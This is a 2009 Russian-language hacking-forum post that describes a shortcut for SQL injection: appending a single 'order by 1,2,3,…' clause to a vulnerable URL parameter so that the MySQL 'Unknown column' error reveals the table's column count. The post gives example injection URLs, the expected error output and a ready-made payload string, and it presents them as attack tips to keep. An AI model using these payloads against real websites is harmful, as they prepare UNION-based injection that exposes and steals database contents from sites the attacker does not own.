Показать сообщение отдельно

  #78  
Старый 16.04.2009, 17:29
Iceangel_
Постоянный
Регистрация: 09.07.2006
Сообщений: 553
С нами: 10441826

Репутация: 1861


По умолчанию

Возможность быстрого подбора количества полей в MySQL
Допустим есть сайт, подверженный sql-инъекции
при запросе
index.php?id=1+order+by+6--
видим ошибку:
Unknown column '6' in 'order clause'
в данном случае, можно сформировать запрос:
index.php?id=1+order+by+1,2,3,4,5,6,7--
Т.е. сортировка будет идти поочередно, и при числе, которое больше количества полей, будет выдана ошибка, указывающая именно первое, превышающее количество полей число.
Если полей к примеру 4, и мы сформируем строку
index.php?id=1+order+by+1,2,3,4,5,6--
то мы увидим
Unknown column '5' in 'order clause'
Следовательно полей 4.

Недостатки:
1) Имеет смысл только когда выводится Unknown column 'число' in 'order clause'
2) Работает не всегда, к примеру, если в скрипте идет несколько поочередных запросов к БД с различным количеством извлекаемых полей, то в результате мы можем получить "не то" количество полей.


P.S.
Способ позволяет существенно сэкономить время, необходимое на подбор количества полей и, имхо, вполне удобен(представим, что полей 37, то сколько стандартных запросов придется сделать?)

Добавляем в заметки

Код:
+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,45,50,500--+

Последний раз редактировалось Iceangel_; 16.04.2009 в 17:31..